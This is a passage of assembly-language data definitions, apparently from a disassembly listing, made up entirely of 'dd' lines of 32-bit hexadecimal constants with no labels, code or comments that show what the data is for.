		dd 0D3072113h, 0B118FA8Ch, 0F120B372h, 5440055Bh, 5B916392h
		dd 0E8269982h, 0C6EBB062h, 5278BB83h, 0F978CA79h, 0D4312A9Fh
		dd 3198BF14h, 0FCF3E869h, 0D3CDD7D0h, 0CA8FB7BAh, 557BB125h
		dd 0CBD40EF3h, 99ACFB1Ch, 4B7AFF17h, 0B41CB8C6h, 7C8E0A7Fh
		dd 0BCBCE5EBh, 1BA98645h, 22B81F99h, 0D37E2FA8h, 0D9194E03h
		dd 0C8CAD3Dh, 7E4DD55Fh, 0C8E698AAh, 731CA0D2h,	5C54FF21h
		dd 427C2C29h, 57A3AB2Bh, 1A9C2B6Fh, 8F227F03h, 0A2459F5h
		dd 3AFFADE2h, 87DB8BB6h, 76EF0A09h, 9796CA52h, 52D87866h
		dd 8B7CBDD9h, 457E760Fh, 1BBF3EBEh, 0A14669Ah, 15D991D9h
		dd 72DE1665h, 0B599DEA5h, 0ADB6810Dh, 0F6ADF6F7h, 645C2209h
		dd 668A1168h, 31EC6D4Dh, 0EDDF43C4h, 0FA98A028h, 5B9CC493h
		dd 0A9DD17FDh, 35064602h, 80B44A23h, 798A7376h,	0CE46BDC3h
		dd 45C73E5h, 0F05F8297h, 0B7A976C5h, 0FBB1CA3Dh, 9E511E99h
		dd 7E78853Fh, 1B4179E1h, 91D721DAh, 0F8D88831h,	0EDE0500Ch
		dd 5D31DE6Bh, 0D4B29DDFh, 6994C7EAh, 5FE3C782h,	102963F3h
		dd 0E20FB9BDh, 23E653D1h, 0BB45AAC1h, 130DF105h, 0D5CEF267h
		dd 224A2F33h, 99CF7A34h, 0E04DFDBAh, 92A5183Bh,	0F3D389D5h
		dd 0D48FCD12h, 75ABB657h
		dd 3BC43C5Fh, 1ACDC9FFh, 0C3487752h, 0EDD74690h, 4DA70B20h
		dd 0B49D2507h, 0D6E99502h, 612CEDB6h, 216A6527h, 7F59A3FCh
		dd 0A0FFB53h, 8D29C6C2h, 0C2326E4Eh, 0EF86BD7Dh, 75C871F9h
		dd 0D2CDF9CBh, 0B7A5B346h, 0AAC7E9Ch, 0AA9F858h, 2DF3EDA9h
		dd 3C6752DEh, 67EDABD5h, 0B0829E70h, 0AC3F2BA8h, 0FD45B5A8h
		dd 0D861D710h, 52AFE85Fh, 884D7573h, 69EE7899h,	0EFB9EEE3h
		dd 0E6D32A35h, 3C1B6F90h, 91A190B1h, 841E6A17h,	37CF2E5Ch
		dd 0BB28B44Bh, 0DD5D0B4Ah, 0B9296AA9h, 4C8E4234h, 61100E1Eh
		dd 0D749D391h, 6F2CAE6Fh, 2F5B721h, 0B6D7FA0Eh,	48A97D15h
		dd 0D1BE310Ch, 0A9766D54h, 6107D096h, 3B6651BBh, 0DA7E9537h
		dd 2F002107h, 89C45284h, 53B18763h, 719014FBh, 558D21CCh
		dd 115D4EBDh, 9465E13Dh, 0CBA931ECh, 0F6D5B368h, 8E9472ADh
		dd 0C0207147h, 31BC4E65h, 31DD0DE1h, 49670B02h,	98FEBC4Ah
		dd 8FB35F9Ah, 0A2FD17FFh, 0EAC71F69h, 15E31FF1h, 59F8EFA9h
		dd 1C221EF3h, 0B7C28DB1h, 483CDE26h, 6829B257h,	4EE69A20h
		dd 61AD7C6Dh, 0A2A31DA0h, 240D1F07h, 0E1CA7BECh, 48A5C6EEh
		dd 378C2710h, 0AF420F86h, 4ED93335h, 84305C3Fh,	83730615h
		dd 0D3D93400h, 8D13B1DEh, 9D7AC2B9h, 0D77D5935h, 0CDA58D16h
		dd 0EEC67C2Ah, 880D1C85h, 0DA76CE6Dh, 0A16D12Bh, 2922C728h
		dd 0F5003715h, 0DE61E349h, 86ADF91h, 8B1E1B57h,	1ADA945Ah
		dd 0CBAC4BEEh, 51CE6A88h, 4B31D094h, 2A3ACB17h,	5FDC619Fh
		dd 0A4240A62h, 0A81F567Ch, 8BACBD33h, 10950535h, 0F4131F7Fh
		dd 0BD6524B9h, 0E52BC946h, 0C418DA02h, 61172591h, 0AE528DACh
		dd 9E9A3ECAh, 0E1D964B3h, 0DEB9EB84h, 779D7BA1h, 44697F9Bh
		dd 912727h, 0F8AA50EAh,	5D68F6CCh, 5FDFE268h, 0C1368C1h
		dd 0F5AD2D16h, 0B5EC30EBh, 3662C7C8h, 0E39C1F28h, 8C5333DBh
		dd 9BCF58C6h, 0D6976E25h, 0E742748Bh, 0C211FF32h, 0AC719223h
		dd 89F7DAA0h, 5869B8C6h, 60322E74h, 0B22DF31Dh,	8222325Dh
		dd 0A0324151h, 9563CF25h, 19696D8Fh, 1AAE9702h,	288F34Bh
		dd 7CEBE227h, 0ED1A78AFh, 0A329B18h, 0A8D44DCEh, 0C2C5AE99h
		dd 9FDB1B81h, 3B70C17Dh, 96C9BC3Eh, 0C7FD8736h,	5A3C1036h
		dd 605758FDh, 0C20FC23Ch, 4BF6EC0Fh, 0B6433BB7h, 77C49373h
		dd 22FCFEDDh, 0D51AD16Eh, 0AF61A89Ah, 933C9065h, 0D903C5DDh
		dd 0FABE8772h, 0B3303E12h, 49680D40h, 49054CD2h, 0C93DEC98h
		dd 16760028h, 12120713h, 0A4845614h, 0B180FB7Fh, 3F446504h
		dd 15B42C92h, 0BAE083ADh, 0A5162A55h, 79B911B1h, 3594D625h
		dd 46F1989h, 0BE8FFFECh, 9E1FA551h, 0E358AFA8h,	0A1119D54h
		dd 0CD2EE065h, 70D474D2h, 5E0295F4h, 3F50B7B4h,	6774A958h
		dd 558FCC4Dh, 7D57352Fh, 80EF783Ah, 48852ED3h, 0F963ACA9h
		dd 6356119Bh, 0BBCF8F02h, 6BC998FFh, 0BD23B25Ah, 0D9F825CDh
		dd 65E72BEFh, 35DBF437h, 0F443D7E4h, 8CA793D5h,	2D450079h
		dd 0A8A9FE16h, 75D46DCCh, 0F94FE3BBh, 40FE651Ch, 0A17B4B35h
		dd 0F93E1902h, 5EE1F87Ch, 0CF4D37F3h, 2CF14A10h, 54EB2F71h
		dd 3C7E7DBBh, 0B7CAA002h, 0ACF7CB9h, 17656FE0h,	38BFCCF1h
		dd 0B9E3EFBh, 0ACD961EDh, 0D61AEE65h, 391AFD42h, 0EAC4DF3Dh
		dd 0DD770239h, 4FF48BEFh, 46869340h, 0BB025583h, 0FFAC4C23h
		dd 0A7611EABh, 3197511h, 184E8584h, 6DEF63B8h, 0D50FA518h
		dd 16481FCFh, 15F6995Fh, 0AE474F9Bh, 9BDA1CE8h,	276F8187h
		dd 273FEC6Bh, 0EC0D07A1h, 402E68A0h, 0E2F315B0h, 0D6BC2CF1h
		dd 8844764h, 9925220Dh,	0C338B0E7h, 996A93BAh, 0A805B5ACh
		dd 5986B308h, 91CC825Eh, 4E50C311h, 0DA6635A8h,	154CE429h
		dd 8B401EA2h, 1B5DB6B0h, 121DE99Ch, 0DFE3D4F5h,	6C50D7B4h
		dd 0EC2F1786h, 0BECC8827h, 8BD8A230h, 0F4F5C2BAh, 2800BD5Ch
		dd 1CCC603Bh, 41B8CEADh, 17F65C42h, 91DF667Eh, 0F51E9F9Ch
		dd 0AE24F374h, 0F8D0DEC8h, 0A13AA4CEh, 20646D7Eh, 1BC9993Dh
		dd 36B78829h, 0BCB75B1Fh, 0CD1FA80Dh, 88658B85h, 82C6E606h
		dd 0FB2F5F85h, 85F21EDEh, 0F7228F59h, 0F21F13C1h, 52E49004h
		dd 5D5EBFC2h, 90FBD4Dh,	824C41D7h, 0AD9B60A7h, 1006F325h
		dd 735B731Fh, 8A218FDAh, 0F50937B4h, 0FB97B9C2h, 6BB33E5Eh
		dd 0CDBAC63h, 7E48A3EAh, 55E9D59h, 0FFA9DE5Ah, 452D52B1h
		dd 8529D8C7h, 3CE1FBE8h, 7C340188h, 0B6C1B18Fh,	8EAC30B6h
		dd 0E29DB5E0h, 0B06C5D09h, 5311297Eh, 63478771h, 23D76593h
		dd 0C58EDFD5h, 86E7ACA9h, 5227D379h, 75481154h,	6C3FEA45h
		dd 73F18FC3h, 570C842Ah, 6294B0DAh, 2B6F6709h, 29C31085h
		dd 7D2C1586h, 2682F339h, 0B4183636h, 27F0F835h,	3F1B54F0h
		dd 0E02444F1h, 4E744619h, 8AE4F154h, 857963ECh,	0C928082Bh
		dd 46D1D067h, 575592F4h, 73842276h, 0A699EE21h,	2FEB16B2h
		dd 3A3ABAEAh, 0B37680E5h, 0F3D4F73Dh, 0F5754784h, 0CAB66835h
		dd 6C590050h, 0D32F7964h, 0D3DFBB18h, 0B5CB6Dh,	9AA95224h
		dd 0A2A3CDC6h, 0D676F70Fh, 40320F2Dh, 3B9F367Eh, 922AADBEh
		dd 0E6B225E1h, 7122827Ch, 84A06644h, 910A0837h,	40F32CD1h
		dd 0B0273881h, 0DA7861B8h, 0E5B17D85h, 9E34B81Ch, 4115C27Ah
		dd 74BD77F7h, 29D655DCh, 0E3077187h, 0B4724A29h, 9D771E99h
		dd 36396A54h, 11116A24h, 0D6B26541h, 91386F27h,	356FB181h
		dd 524BDAA0h, 246C1CF1h, 20465E0Fh, 0A7C9858Ch,	0E208D66Dh
		dd 69E6A594h, 0E74377ACh, 0A92FFAA4h, 3DD11032h, 0AC860471h
		dd 25EF7AC1h, 0BB12D3E8h, 0DEFB2A2Ch, 0E2F4E20Eh, 0E24261FEh
		dd 2914C258h, 0BC826D39h, 35E502A0h, 8CF93F7Eh,	963DA596h
		dd 0E0A28862h, 32B018DAh, 7D8FFB53h, 0FFF44720h, 0A2F8EC65h
		dd 0AA68437Ah, 560754B3h, 7A19E1E2h, 8AB5FC7h, 0F5C4CA61h
		dd 0A58448A1h, 823C7B53h, 0E3E45660h, 7B6AD68Dh, 60FDED09h
		dd 0EF840B25h, 5C793B7Eh, 6D337317h, 1F6BC315h,	0A751BBB6h
		dd 70F62F66h, 0BF730706h, 55AE288Bh, 0F109BC67h, 39A303E9h
		dd 0ADDB3391h, 48D8986Ah, 0EEBFA5Eh, 33407113h,	292F94BAh
		dd 23A42B1Eh, 626EEC3Ch, 1017ECFAh, 4C69F6C7h, 0DE3D5457h
		dd 626D908Eh, 2F2C2CD4h, 7C796A48h, 905D72B5h, 0A7BC81B6h
		dd 3B430E2Dh, 1ABD52h, 0F4270421h, 5B4A7C8Fh, 7615F216h
		dd 8500BC7Dh, 461476B2h, 2E5ED1BDh, 0E110C835h,	0AA929545h
		dd 0F85AC9EDh, 0A0F64D7Ch, 0D61211DBh, 36B53262h, 0E0DF1E38h
		dd 8FA0AF23h, 93A419E8h, 7DF7C303h, 0D3F6C4BFh,	0ACA9A19Eh
		dd 0C8B139FCh, 0D71F8B8Dh, 7791672Bh, 8B467615h, 0D6FBD5C9h
		dd 540C8128h, 301A955h,	24964668h, 0FD79EDFBh, 0D3069315h
		dd 1ACF93ACh, 2B451AEEh, 367A92D2h, 0CA0F2D34h,	8403AD99h
		dd 15871332h, 0D000E7Ch, 704CF31Dh, 0D36E66EAh,	0DB576498h
		dd 883D58C3h, 43AC2B75h, 669EE1B9h, 0F7F68A78h,	0B4AAE879h
		dd 0A3F5148Fh, 2C44FC4Eh, 0E161B78h, 457EB47h, 696B33FEh
		dd 73FF023Fh, 24750E52h, 7312DFFCh, 948BC3Eh, 0A6B1FEC5h
		dd 0B81D890Ah, 0DE18275h, 0D2F4A544h, 54CFD578h, 0C54DA093h
		dd 66D1C2D7h, 24EDE5DFh, 0B4FF4E71h, 0A52F6A63h, 3CC69596h
		dd 4076E733h, 0DD7F6E64h, 7F9B96Dh, 16232495h, 0FF7E1370h
		dd 0D09D78DAh, 3FCDB012h, 0C01532E7h, 0B219F06Ah, 476AB78h
		dd 9AA5010Dh, 849E8AFBh, 771BC93Eh, 0F1D1A922h,	0F2A6ACE7h
		dd 6C191D41h, 2E319201h
		dd 0FA219B1h, 0B0F006D2h, 77EA8027h, 3B122071h,	2C422361h
		dd 48390A9Dh, 5F80E42Ah, 6C71FA2h, 0B333CBCCh, 8D249A58h
		dd 0DD944FADh, 16562426h, 3858DB9Fh, 7A2959D9h,	316E9021h
		dd 50A5213Bh, 85ED722Bh, 0E695D300h, 99A8B689h,	1B7E075Fh
		dd 650591C5h, 0E0D65589h, 615CC584h, 0C88289FDh, 52248833h
		dd 2284A4A7h, 7108E5A1h, 4B94B110h, 0FB6C622Bh,	0BB94C92Ch
		dd 5AF5B1B5h, 440DB63Dh, 37FBF872h, 5EF25BDDh, 0CA255DAFh
		dd 0B7A5E5DCh, 7D96B44Ah, 39B3769Bh, 4F6C181Eh,	637EA528h
		dd 0DACD87FBh, 33BF41BFh, 0ACB29BBBh, 0C295EE97h, 60261148h
		dd 0E9CB90D8h, 0EBA51C58h, 7E8E983Bh, 9FE5FB35h, 1D40A719h
		dd 99DF10C7h, 8E112502h, 248A302Ah, 0D0140F0Dh,	2AE6137Bh
		dd 0BB9B70DFh, 3EDD0011h, 568EE6C4h, 0FECCF4FAh, 72D4360Bh
		dd 0FA52388Ch, 141E8951h, 8EF69851h, 80E79A43h,	17B1C1FDh
		dd 0F2AC564Dh, 0F9E3CEB6h, 0B237CFC5h, 0BA775FE9h, 0E3B26AFBh
		dd 0F79A0439h, 388F93Ah, 961F0CA5h, 5B6FCCDDh, 4EC93ED2h
		dd 0E965DBA6h, 0B12ADDABh, 0CC300CCFh, 71BA5AF6h, 0CC5146B5h
		dd 33A90BC8h, 0C1F6376Eh, 0E2FA59CCh, 0DE1FC953h, 68C018C5h
		dd 13148E06h, 0CCDB37EAh, 5A195184h, 0E2C00AEBh, 0C66A415Eh
		dd 6FB772CDh, 51A30344h, 83086465h, 0A67A377Dh,	70E74A73h
		dd 0B6BD9EE3h, 0A1C00D73h, 90288525h, 6F995295h, 46F68AA7h
		dd 0C4134A97h, 76A01700h, 0D2D2D941h, 5DF84F25h, 0AA798224h
		dd 43FCE23Dh, 7B4DF610h, 8B48BEB2h, 0F1C4B5F2h,	0ABAED888h
		dd 104EC9CEh, 148186D0h, 0D8CD4C47h, 0E3C5BC97h, 2541C875h
		dd 0DAC41AD2h, 42F7329Bh, 4F346B5Ch, 3C545CEEh,	0D2923C1Eh
		dd 0C6A03739h, 0E4F30B64h, 28A7D56Eh, 7AB20367h, 56E9EF51h
		dd 50DF2379h, 406D01C0h, 4BC6AC0Ah, 0A5BB46D4h,	91FFCF9Dh
		dd 5BD6AB73h, 3D757A79h, 42EABF45h, 62A0C8E1h, 161FD03Eh
		dd 4543930Dh, 55B14FF5h, 278DFD5Ah, 5026E6CEh, 7D7CA140h
		dd 0BFDCD4D0h, 452BEF2Ah, 232E2F3h, 0D547C37h, 624A70DDh
		dd 0A4809316h, 5DFE2404h, 0B8194782h, 9E14D2D0h, 4687028Fh
		dd 0F45D149Eh, 0B1BC130Eh, 5420A853h, 5FDCAAE6h, 6645A0D9h
		dd 981F30B2h, 0D6C16506h, 0F28DBAE4h, 9FCDCB6Dh, 36785EFDh
		dd 0B84F2F57h, 0E373BA77h, 2014B81Ch, 0EF9A0708h, 397B911h
		dd 6F58B498h, 0F6FF2F1Ch, 0FD1046A8h, 2EA842D4h, 7DDCCC96h
		dd 9D2179E2h, 83619FCEh, 0B371A9A1h, 37598452h,	3E72DB81h
		dd 56D46E3Dh, 4CD8FFD5h, 0D3426282h, 0E78BB8D0h, 3432D13Dh
		dd 722F7C1Ah, 48D29AD2h, 523C3FE7h, 0F9FFBD6Eh,	0F2E578F3h
		dd 0CB677E41h, 44DB3AC2h, 0D3F4E051h, 0E2D0A7BDh, 841CB133h
		dd 0BCFE3425h, 7C175B64h, 24C8A3A8h, 0B45806FCh, 4DFB3FC4h
		dd 1705D33Fh, 0EDDA38F1h, 4323111Ah, 4F89E56Fh,	8FF3B91Ch
		dd 0C623ABA8h, 746DB0A6h, 0D2B8ADBFh, 0B3D4B42Fh, 0FFE8F20Ch
		dd 0CD734426h, 6428D851h, 8D94915Ah, 5777175Fh,	0B8C27AD0h
		dd 1B4DC6E9h, 0DCDD9257h, 0EF369F7Eh, 0D50CFC5Fh, 0A7E1AF42h
		dd 0BAE8B539h, 0AAA3B898h, 9919759Ch, 0C1E670DEh, 0D346EA22h
		dd 2F2BCD92h, 0B41D667Fh, 0A0E5E400h, 6EC56D41h, 8B295213h
		dd 0C7947074h, 0B58075E8h, 0DBAD1FAFh, 0F5E5FF56h, 81EEC669h
		dd 57973102h, 0D363D725h, 0EEEEC396h, 23080775h, 0A6E53FEAh
		dd 0EE7CEB99h, 0C83AE2B8h, 58C969DFh, 3AB5E3ACh, 0D41C7FDDh
		dd 7A01BFE3h, 5B61715h,	0E8DDFBCh, 15C58FA8h, 6D9CA0DDh
		dd 0DEE022C0h, 0A813FCBAh, 4C22B2AFh, 8B1257A0h, 16C97703h
		dd 6FBF6234h, 76C9ABB4h, 20400BC5h, 65514163h, 962E110Ch
		dd 0C2E4419Ah, 7878114Eh, 631A38ECh, 46238B26h,	7DF6A8E2h
		dd 18EBCE28h, 91CA019Ah, 0C55F88F8h, 0E186B4CDh, 0CD78FDFDh
		dd 87EDBA74h, 0BC34CC0Dh, 0F2C4938Ch, 2E887F58h, 0DC39EAFEh
		dd 0A3525489h, 0C9150856h, 4EFC91E7h, 0CB45F326h, 34CA2440h
		dd 4C58EB8Ah, 6BAF20D7h, 0B4CE4DE2h, 2270D920h,	2C8DC8E5h
		dd 0AABE9A9h, 18F89991h, 637AE37Dh, 7B411964h, 4C7685AEh
		dd 0A771A4E1h, 9A39453Fh, 0A789A42Dh, 5CF79Eh, 38975507h
		dd 3F78E682h, 51E17D9h,	0AC061AC2h, 68C07537h, 0D798B44h
		dd 0E71378A4h, 9E4F22A5h, 65EA4405h, 2BCC6EC9h,	0FA472F40h
		dd 0AFA8C9h, 0A5B70C17h, 97136C34h, 0EF5292B0h,	4D6F77ECh
		dd 8E0AB33Ch, 0B2EA87E0h, 0E89AF767h, 97E76DEEh, 8AA8890Bh
		dd 17DB0549h, 0AA4920EEh, 1CAB735h, 0EE3BDE7Ch,	0D09F5D95h
		dd 904D6C06h, 0DE3EED79h, 11015833h, 523522E1h,	0D2FCD1A8h
		dd 0AC0EEA96h, 0F5E00D6Eh, 0B1989632h, 680542A7h, 4B161597h
		dd 4CB1DE5Dh, 3E7D12FFh, 6A2DB84Bh, 2ED40A1Dh, 8D9C36C1h
		dd 1FA0F408h, 0FDA9BD09h, 4CA15719h, 0FAF81C8Ah, 0B20E979Ah
		dd 0D4CE463Eh, 26FEBD41h, 0C0394734h, 1E8CC868h, 988C035Ch
		dd 41040CD6h, 0BE26851Fh, 8260D493h, 0D846968Dh, 0E094BBF9h
		dd 9694F87Fh, 6632A59Bh, 0E7A80A35h, 0F5B77FCAh, 0B4B65693h
		dd 0C272D542h, 0F44736ABh, 8F6C0F72h, 99A19253h, 49B396E2h
		dd 935BDE2Dh, 26561C4Ch, 1229833h, 0BC0C3359h, 513A92C7h
		dd 6400E9DEh, 0D01B8CB4h, 6E8DF027h, 3624FC7Dh,	0F591DE38h
		dd 6076BD6Fh, 6316C8B9h, 8AA34380h, 43839788h, 3F35DB1Ch
		dd 7371E6CCh, 400F5EB6h, 0BAE03003h, 1178EBC9h,	0C1186E17h
		dd 0FC315E59h, 4627F614h, 734BE059h, 94AE9889h,	0F83DFA5Ch
		dd 64DDFBF8h, 0C319D7BFh, 75F7B3D1h, 6508BD7Bh,	92F24560h
		dd 1E5AA721h, 0C337A0AEh, 1E4F698Eh, 0F453361Ah, 48288F26h
		dd 9A03313h, 0B9CCC0D1h, 0FDC42CCh, 98460592h, 24201565h
		dd 0B1298E78h, 15045420h, 52CB07E0h, 21840542h,	2BC30BA4h
		dd 0D1D9058Ch, 9D02FF2Dh, 1A715145h, 21FF916Bh,	4E901233h
		dd 0F93F5619h, 6F21BCE2h, 9A9B1C8Ah, 7320D754h,	0E8010FB8h
		dd 7E453F05h, 1F441A88h, 0BE57F368h, 0A4C4960Eh, 4A3DF344h
		dd 0C9B77F33h, 5F79DD2Dh, 39E11789h, 77C25F86h,	0CE80EF07h
		dd 0E7238C9Bh, 6E7BD6C5h, 60C1B6F5h, 8828DE0Fh,	2ADCB708h
		dd 239E6493h, 559E4F78h, 1223198Eh, 8BA3C8A5h, 8156349Eh
		dd 0E08CD7EDh, 0BEAB3B6Fh, 7A9FD1CCh, 0E4719E4Eh, 0CD7B2839h
		dd 43C28ECEh, 363A1ED3h, 40073D8Dh, 755951A3h, 0D27F5A16h
		dd 0E5075434h, 0DE2C0A49h, 7E9741F9h, 25FBAB2h,	0C8DE5AA3h
		dd 0C61D73A3h, 0FD5DEEF2h, 51C11EC3h, 0BAAC2B02h, 0EC1336D0h
		dd 374AD07Ah, 0E7147DA2h, 0D8C6555Ch, 98CC36A3h, 0A372FC77h
		dd 0E235CE3Fh, 5DEA2D63h, 5C0C02Fh, 661A7102h, 0A0D48082h
		dd 0ABAB36D2h, 0C123B3EBh, 0D2E9C81Eh, 1D2884ACh, 0A909CA3Fh
		dd 2A6D998Dh, 0E41603EAh, 0FA020683h, 0EE46638Eh, 37B7D862h
		dd 0D11EF252h, 72FFC11Ch, 0C92F1C0Ch, 2E39B026h, 0D10DAA68h
		dd 786E504h, 0FE084EA4h, 947AD443h, 0A093AE38h,	2E7ED0ADh
		dd 363599DCh, 1C4387C1h, 0B7879FEFh, 89D54868h,	2251709h
		dd 4DD58E1Dh, 0EB80E389h, 7DF73E26h, 0D8A2AA43h, 0AEAA5A57h
		dd 5ED30410h, 4512C94Eh, 485A855Ah, 5CB5727h, 0AFDDE13Ch
		dd 930805DCh, 47D7A544h, 2BA9BF82h, 0E4164E7Eh,	0F1C37E0Ch
		dd 13EC34DEh, 0E7C6B541h, 2344D080h, 0BA69FB75h, 969AB40Bh
		dd 1961EEEBh, 4B5C5C4Ah, 834B2D26h, 0E468169Dh,	0E9267AB7h
		dd 0D1F10A31h, 4EA5FBB0h
		dd 540C2EBBh, 0A17186A4h, 9F8B35DEh, 0F45EAFE4h, 4E2C216Dh
		dd 0E59DA4DAh, 8B3DABAh, 0CD68E86Eh, 5684DAh, 5DC7FDF0h
		dd 0C5CB730Bh, 122258DDh, 0CE321A7Eh, 5B22911Ch, 0FCA360CAh
		dd 2B1E49CFh, 58E9AD50h, 5B6F328h, 33E687C3h, 75E24C61h
		dd 70FE2964h, 0ADFB432Dh, 0A2253FD1h, 267B7C71h, 9CE5DDB0h
		dd 0C030F1E0h, 8C668FB6h, 332C9C53h, 554D51E5h,	413D54A3h
		dd 0D2F44984h, 0E2CBCDF5h, 0D0C389D7h, 36438F00h, 4FDF7562h
		dd 18582031h, 86DC4E33h, 305B1618h, 0C32F991Fh,	0A5A06AFFh
		dd 3FBA46F7h, 0F506B622h, 0A015D9D8h, 0B1EC4BD6h, 8AF9871Fh
		dd 0EB2D3CECh, 74800643h, 9E45ED24h, 0D692B4E6h, 1CD411B5h
		dd 8C4F18B3h, 0EFD3D1C8h, 40F50009h, 2F2F4B11h,	18496A02h
		dd 0C88876h, 9415D0C5h,	0A002CFBDh, 51CF78EDh, 777CB54Ah
		dd 0E59ED756h, 0AE9A4439h, 34323C0Fh, 7115DB48h, 0B40BE502h
		dd 0E9601BBEh, 8587309Eh, 0D9A8FBEBh, 0D0C91508h, 65009E9Dh
		dd 3B05EAC3h, 66D0E306h, 0C517B0C7h, 73AF9C3Ah,	0CCDEF86h
		dd 1A613A1h, 0B1FD867Eh, 49ECCAD8h, 43D269A4h, 0D539D13Ch
		dd 0F03D148Fh, 673D09BFh, 0F8868847h, 0EBC46FAh, 5A7C2F80h
		dd 3295F231h, 9E9A62E6h, 0ECBA66C3h, 1663B47Dh,	0A1EE5666h
		dd 63CB2170h, 5549F90h,	0B544C742h, 0C8599676h,	7969AE7Fh
		dd 0D11F7434h, 5D7ABEA5h, 8FAE9E35h, 0E39796E7h, 0BC7483CCh
		dd 8AF49B5Fh, 56B00A4Bh, 24D034DAh, 2B336860h, 0D6DA6CE2h
		dd 0FAB9B41Eh, 0FBDAF0A9h, 272E328Bh, 0D9320D1Ah, 4164AC19h
		dd 48EE7F96h, 0D9B2F931h, 757999ABh, 2982F385h,	10B05930h
		dd 8DBC8B45h, 0CA47C9DBh, 78D239B8h, 0FE04F99Ch, 3C202D7Bh
		dd 0D7A7A4DDh, 75EC2959h, 4AF981C3h, 0CBBEA769h, 0A82B26A6h
		dd 93D94E6Dh, 0C672116h, 43C32551h, 0E89C3D13h,	0A024D268h
		dd 13893D7h, 0A4228FC1h, 1D21ADCDh, 3C830910h, 0BCD43CAh
		dd 0B913E79Bh, 1942CC48h, 0ECF3B34h, 6AD15ED7h,	0A5016D42h
		dd 2601D68h, 4B056324h,	0A3643A1Ch, 597B409Fh, 99FEA94h
		dd 0F6193719h, 346A03CBh, 3A4EE345h, 3EB18304h,	5764F453h
		dd 5541778Ch, 36D8DA88h, 2CDF92BEh, 6BCC5E73h, 0CCA31DAAh
		dd 465A23F1h, 0AB34378Ah, 0F36EE3B0h, 0D173B56Dh, 446F0CF3h
		dd 2DEAA042h, 4F06D781h, 43D601C5h, 381C738Ah, 0DFE0ED39h
		dd 1C7E1877h, 4D3A9C5Dh, 58B22056h, 0ABD043ACh,	0E5F91959h
		dd 7025AD8Ch, 70FC1EAh,	65AFA376h, 9FB8E3DAh, 438D614Ch
		dd 18658EDCh, 0EEC9C96Ch, 3DA78932h, 52E3E336h,	3B5B1382h
		dd 5E6B22E3h, 331B735Ch, 8EB3FD18h, 0F80A782Ah,	8ABFA9D9h
		dd 0AB2386E0h, 55101C14h, 8EE3E09Fh, 9B6424ABh,	361F15B1h
		dd 1EED67DDh, 0D19086Dh, 155313CEh, 1ABE9309h, 7AA33870h
		dd 0D1EDE260h, 49A8DC4Bh, 0E5E7828Ch, 8B63CAB3h, 5C31EFB7h
		dd 0D45A2B2Ch, 5C389630h, 0CF53812Eh, 6CA152FBh, 0D6C0C7FEh
		dd 3C9C4DE3h, 5C07DE52h, 0C022E55Bh, 8D32A62Dh,	89CD959Ch
		dd 0E411B67Ah, 2CCF34DFh, 0D4EDEDE5h, 13EFAEF2h, 0C94DD38Eh
		dd 0FB545634h, 0C71D27ADh, 5F538868h, 19521F59h, 29F32E10h
		dd 0FA3D1999h, 0E336FD71h, 1BD0970h, 6F5F0B66h,	50D1ACCBh
		dd 4F1E2275h, 76A49C8Fh, 0B12E5FCCh, 1E4A6A7Ah,	0B3496C85h
		dd 0B87942ABh, 56BEC518h, 78298EDEh, 6F253A11h,	82745F36h
		dd 0CDBBAE02h, 53C7B698h, 0BBAF0B36h, 9B1C165Ch, 48C374EAh
		dd 97039BECh, 4E2AF926h, 0D1621C38h, 509BEB0Ch,	1E2F9842h
		dd 0F2F1F465h, 12ED0BADh, 5105CEE2h, 0E359F1A7h, 3A04E8C9h
		dd 32A00AA7h, 0DD4BF1BDh, 0FECDC3ACh, 0E44748FAh, 8D7E6911h
		dd 9CB56122h, 32071988h, 10CFEE9h, 30385882h, 0E7AB6606h
		dd 51599DE6h, 0DE65842Dh, 2D5B2389h, 6BC447BCh,	0DF959CA2h
		dd 5002B008h, 0FE3DC74Fh, 293CD36Dh, 0B86A4B68h, 88308B7Bh
		dd 2B7B895Eh, 27CA5781h, 2814856Eh, 646B7004h, 5F0C0074h
		dd 0E3994894h, 6EDFD28Eh, 2B4A0481h, 37DC54A1h,	96F61A14h
		dd 0ECDA254Fh, 0CB81CC09h, 501A29DDh, 5EF20EA0h, 0C959D1AFh
		dd 2AF30EF2h, 0F5C5A440h, 3A9C4610h, 0EEDB2EA5h, 8F2368FEh
		dd 0E8D6B1F5h, 0E119C7ADh, 11BCB757h, 8A4EE6CFh, 0F98ACD1Eh
		dd 0CAF67625h, 575ACA7Ch, 27A4D364h, 3FB8A5EEh,	114A32Ch
		dd 2D91AC53h, 89310739h, 7E6BB495h, 0CD9AD035h,	0A5816D1Bh
		dd 0BC037E22h, 900BE9C6h, 72D0FDDDh, 4717E5BAh,	0E200EE27h
		dd 0A8CB9E5Ch, 0EA618C2Bh, 19D539BEh, 1E419A88h, 39C98023h
		dd 882E9B6Eh, 72160839h, 37AD41BAh, 6CFC6B36h, 0B605F8Ah
		dd 0ED4DFA16h, 87836963h, 0E1AE9966h, 0DAB75AA1h, 35AAAA67h
		dd 766B5761h, 640EA99Ah, 0E6E0E9F5h, 22A478BDh,	0A53D5B31h
		dd 7CE4CB1h, 0EBFF6CB7h, 0F478B2D2h, 6DC5FD95h,	0D9ACD4D4h
		dd 0AD1531E6h, 674B5659h, 26DA8FF5h, 0FC478BA5h, 0CFCCB176h
		dd 0AE4E94D4h, 95B9E432h, 8DACDF75h, 4A5F544h, 2EAFF4CDh
		dd 18B93024h, 0A824FB5Ah, 5D8AA514h, 748793B8h,	2A1380B1h
		dd 0EECFD6C3h, 60D7E8ADh, 40CA4D03h, 139DCDA7h,	0CEAA90Fh
		dd 0ABBD8D4h, 33F1B4FFh, 0A685860Fh, 0A88C084Eh, 4E48FD71h
		dd 3669013Ch, 4D10621Ah, 1E605552h, 7173B6Ah, 51C7E41Eh
		dd 8373794Ah, 1DD522B9h, 0D6740449h, 747814ECh,	0D3233FD5h
		dd 1C656E26h, 0F2D743DEh, 0E5BA2683h, 0CFFD4B19h, 0C62939BDh
		dd 283FDF2Ch, 2CA489Ah,	0F30ED941h, 9268B246h, 4CFD51DAh
		dd 41915E59h, 5928EEC3h, 0C9BD87F6h, 9AD07C43h,	7A1C3350h
		dd 774CA1B9h, 0DD1E3526h, 0BC2F94B9h, 0A24C38A5h, 0C760A944h
		dd 0C9FB2027h, 0B1BE7B6Dh, 3C684B2h, 0D7341B18h, 0EB6AB051h
		dd 0B4C681CAh, 0A8AE7030h, 0F2BD6B86h, 1DF69FA4h, 4C9DB677h
		dd 0C73C0783h, 3FFEC9E6h, 0D0F9FBB4h, 0AAFB2564h, 9BBE1021h
